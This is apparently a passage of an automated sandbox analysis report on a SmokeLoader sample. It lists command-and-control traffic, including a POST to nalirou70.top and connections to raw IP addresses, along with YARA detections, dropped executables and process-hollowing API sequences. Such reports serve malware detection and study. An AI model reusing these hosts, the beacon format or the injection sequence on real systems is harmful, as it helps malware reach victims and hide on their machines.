not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:22:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 88 2c b4 59 52 db 03 f8 e5 2c f3 65 02 47 e5 aa e3 1e bb 52 df 41 d1 ff 27 87 21 80 a5 9a 52 2e f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OU&,YR,eGRA'!R.~0

Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139

Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: &l9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: romium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-j

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://pstanat.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: nalirou70.top

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.4:49880 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000017.00000002.879242303.00000000020A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725665133.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.713707724.00000000044C1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.797092954.00000000006E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725720765.0000000000511000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.783710135.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.783461407.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.797009453.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.878602271.00000000005E0000.00000004.00000001.sdmp, type: MEMORY

Source: F72D.exe, 0000000C.00000002.785827628.0000000002E09000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 82DC.exe.5.dr, Discrepant.Common/Client.cs

Large array initialization: RemoveState: array initializer size 189884

PE file contains section with special chars

Show sources

Source: 59B4.exe.5.dr	Static PE information: section name:
Source: 59B4.exe.5.dr	Static PE information: section name:
Source: 59B4.exe.5.dr	Static PE information: section name:
Source: 59B4.exe.5.dr	Static PE information: section name: ~\1847
Source: 59B4.exe.5.dr	Static PE information: section name: ~\1847
Source: 59B4.exe.5.dr	Static PE information: section name: ~\1847
Source: 8039.exe.5.dr	Static PE information: section name: )EWhgNF

PE file has nameless sections

Show sources

Source: 8039.exe.5.dr

Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_02991238
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_02991228
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_029914B0
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_029914ED
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_02991594
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_029915AA
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_0299151F
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_0299150A
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_02991535
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_0299154A
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_02991572
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_02993E5E
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_05579047
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_05579A10
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_0557C708
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_0557C628
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_055711F0
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C22F0
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C4650
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C192B
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C197B
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1968
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C49A0
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C4990
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C19D7
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C182C
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C3B39
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1B69
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C3B48
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1BA8
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1BC8
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1A95
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1ADA
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1D4E
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1DFC
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1DD1
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1C2D
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1C16
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1C6B
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 22_2_028CEC08
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D240D20
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D311D55
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D262D50
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2735D0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D262430
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24EC9B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FE7FF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3067E2
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D266E30
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CAE60
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D312EF7
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D262990
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A830
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246800
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301002
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D278840
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25B090
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D263360
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26AB40
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27EBB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2EEB8A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D298BE8
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F23E3
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27ABD8
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FFA2B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3132A9
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30E2C5
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03029390
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03021280
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03020520
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03023590
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_0302DA80
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03029F88
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03023D08
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03028DA0
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03020DD0
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03029380
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_0302126F
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03020510
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_0302DA47
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03028D90
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03020DC0
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Code function: 27_2_0232EFE8
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0109B950
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0109E260
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0109E9E9
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BFAAD8
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BF5B20
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BF3870
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BF6EE0
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BFF0B5
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BF8518
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BFEF88
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BFEF78
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538A7D8
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_05389048
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_053883D0
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538BE70
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538CB10
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538D26B
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538DED8

Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_ACCELERATOR type: Android binary XML
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.24.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.24.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll
Source: C:\Windows\explorer.exe	Section loaded: webio.dll

Source: y4oMrtO1Mt.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 24.2.B8B0.exe.ce0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B8B0.exe.ce0000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B8B0.exe.ce0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B8B0.exe.ce0000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B8B0.exe.ce0000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 0000001D.00000002.945154520.0000000003D11000.00000004.00000001.sdmp, type: MEMORY	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: Process Memory Space: 82DC.exe PID: 4904, type: MEMORYSTR	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =

Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: String function: 6D2D5720 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: String function: 6D24B150 appears 129 times
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: String function: 6D29D08C appears 41 times

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00401813 Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00401842 Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00402052 NtQuerySystemInformation,NtQuerySystemInformation,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00402403 NtEnumerateKey,NtEnumerateKey,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00401812 Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_0040202C NtQuerySystemInformation,NtQuerySystemInformation,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00401830 Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00401833 Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00401836 Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_004023D9 NtEnumerateKey,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_1_00402052 NtQuerySystemInformation,NtQuerySystemInformation,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_1_004023D9 NtEnumerateKey,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_1_00402403 NtEnumerateKey,NtEnumerateKey,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_1_0040202C NtQuerySystemInformation,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 10_2_02BD0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00401813 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00401842 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00402052 NtQuerySystemInformation,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00402403 NtEnumerateKey,NtEnumerateKey,
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00401812 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_0040202C NtQuerySystemInformation,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00401830 Sleep,NtTerminateProcess,
